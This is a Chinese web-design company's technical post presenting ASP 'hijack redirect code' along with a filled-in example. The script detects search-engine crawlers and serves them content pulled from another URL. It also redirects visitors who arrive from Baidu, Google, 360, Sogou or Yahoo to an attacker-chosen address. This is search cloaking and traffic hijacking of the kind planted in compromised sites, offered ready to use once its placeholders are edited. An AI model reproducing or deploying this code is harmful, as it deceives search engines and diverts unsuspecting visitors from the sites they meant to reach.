·我要焊管网  ·无锡物流网   ·无锡搬家网   ·中国脚手架网
首页  |  域名注册  |  虚拟主机  |  企业邮局  |  网站建设  |  网络推广  |  典型案例  |  新闻资讯  |  联系我们  |  在线留言
新闻资讯-无锡网站建设|无锡网站制作|无锡网站设计
2013年我们应从哪些方面来做百
杨致远那个年代中国内地知名度最高
这就是经典的设计所能够带来的良好
网页篡改攻击事件具有以下特点
中国互联网诞生了易于上手且功能无
  当前位置 -> 首页技术解答【劫持跳转代码】能同时劫持百度、google、360、搜狗的代码 发布时间:(2015/1/23)

【劫持跳转代码】能同时劫持百度、google、360、搜狗的代码

我在这里是在原来代码的基础上进行了修改,其实原理很简单,以前的只能劫持百度,现在的还能同时劫持更多,有兴趣的朋友可以去看看代码,里面的代码你们用的时候记得修改里面的位置,需要修改的地方,相信你们明白的,

——————在这里着重说下,转载文章没有问题,但是请尊重劳动人民的果实是吧————————

*****************************************************************************

<11111%

function GetBot()

'查询蜘蛛

dim s_agent

GetBot=""

s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句

if instr(1,s_agent,"googlebot",1) >0 then

GetBot="google"

end if

if instr(1,s_agent,"msnbot",1) >0 then

GetBot="MSN"

end if

if instr(1,s_agent,"slurp",1) >0 then

GetBot="Yahoo"

end if

if instr(1,s_agent,"baiduspider",1) >0 then

GetBot="baidu"

end if

if instr(1,s_agent,"sohu-search",1) >0 then

GetBot="Sohu"

end if

if instr(1,s_agent,"sogou spider",1) >0 then

GetBot="Sogou"

end if

if instr(1,s_agent,"360Spider",1) >0 then

GetBot="so"

end if

if instr(1,s_agent,"lycos",1) >0 then

GetBot="Lycos"

end if

if instr(1,s_agent,"robozilla",1) >0 then

GetBot="Robozilla"

end if

end function

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage=BytesToBstr(t,"GB2312")'编码

End function

Function Newstring(wstr,strng)

Newstring=Instr(lcase(wstr),lcase(strng))

if Newstring<=0 then Newstring=Len(wstr)

End Function

Function GetBody(url)

on error resume next

Set Retrieval = CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", url, False, "", ""

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Dim wstr,str,url,start,over,dtime

if GetBot="baidu" then

'给百度蜘蛛定制的内容

url="劫持地址"

'想要展示给蜘蛛的页面地址

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

elseif GetBot="sogou" then

'给google 蜘蛛定制的内容

url="劫持地址"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.End

end if

if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then

'如果用户来自www.baidu.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

if instr(Request.ServerVariables("http_referer"),"www.google.com.hk")>0 then

'如果用户来自www.google.com.hk

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

if instr(Request.ServerVariables("http_referer"),"www.so.com")>0 then

'如果用户来自www.so.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

if instr(Request.ServerVariables("http_referer"),"www.sogou.com")>0 then

'如果用户来自www.sogou.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end If

if instr(Request.ServerVariables("http_referer"),"www.yahoo.com")>0 then

'如果用户来自www.sogou.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

%>

*********************************************************************

对劫持感兴趣的朋友可以研究研究,,,,希望转载的朋友能保留转载地址,拜谢了

 

案例

<11111%
function GetBot()
'
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '
if instr(1,s_agent,"baiduspider",1) >0 then
GetBot="baidu"
end if
if instr(1,s_agent,"sohu-search",1) >0 then
GetBot="Sohu"
end if
if instr(1,s_agent,"lycos",1) >0 then
GetBot="Lycos"
end if
if instr(1,s_agent,"robozilla",1) >0 then
GetBot="Robozilla"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot="baidu" then
url="http://www.axibanjia.com/images/index.asp"
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
elseif GetBot="google" then
'
url="http://www.hccbbs.com"
wstr=getHTTPPage(url)
body=wstr
response.write ""&body&""
response.end
end if
%>


辛苦整理@转载请注明:http://www.esw.net.cn/shownews.asp?id=326
更多关于网站建设推荐阅读:
在新标签页中跳转某个网页
ewebEditor限制下传100k的简单修改办法
企业邮箱在iPhone上使用的设置说明
来源:易商科技 浏览次数:2673 打印本页 关闭窗口
  易商简介
  发展历程
  服务理念
 业务部: 0510-85851922
  客服部: 0510-82392646
 24小时咨询热线013771445261
QQ在线咨询
点击这里给我发消息 点击这里给我发消息
点击这里给我发消息 点击这里给我发消息
常见问题-无锡网站建设|无锡网站制作|无锡网站设计
css导航条判断当前页面高亮效果显示
IE11下使用eWebEditor编
关于value 空格后的内容消失的问
如何在网站调用百度地图并显示企业信息
【劫持跳转代码】能同时劫持百度、go
在新标签页中跳转某个网页
本站关键词:无锡网站建设 | 无锡网站改版 | 无锡网站推广 | 无锡网站优化 | 无锡网页制作 | 无锡网页改版 | 无锡百度优化包年 | 无锡网络公司 | 无锡网站建设电话
  关于我们 建站流程 人才招聘 付款方式 联系我们 网站地图 版权所有: 无锡易商科技有限公司2004-2008 All Rights Reserved
      电话:400-044-5261(总机)      手机:13771445261      苏ICP备08006106号 博客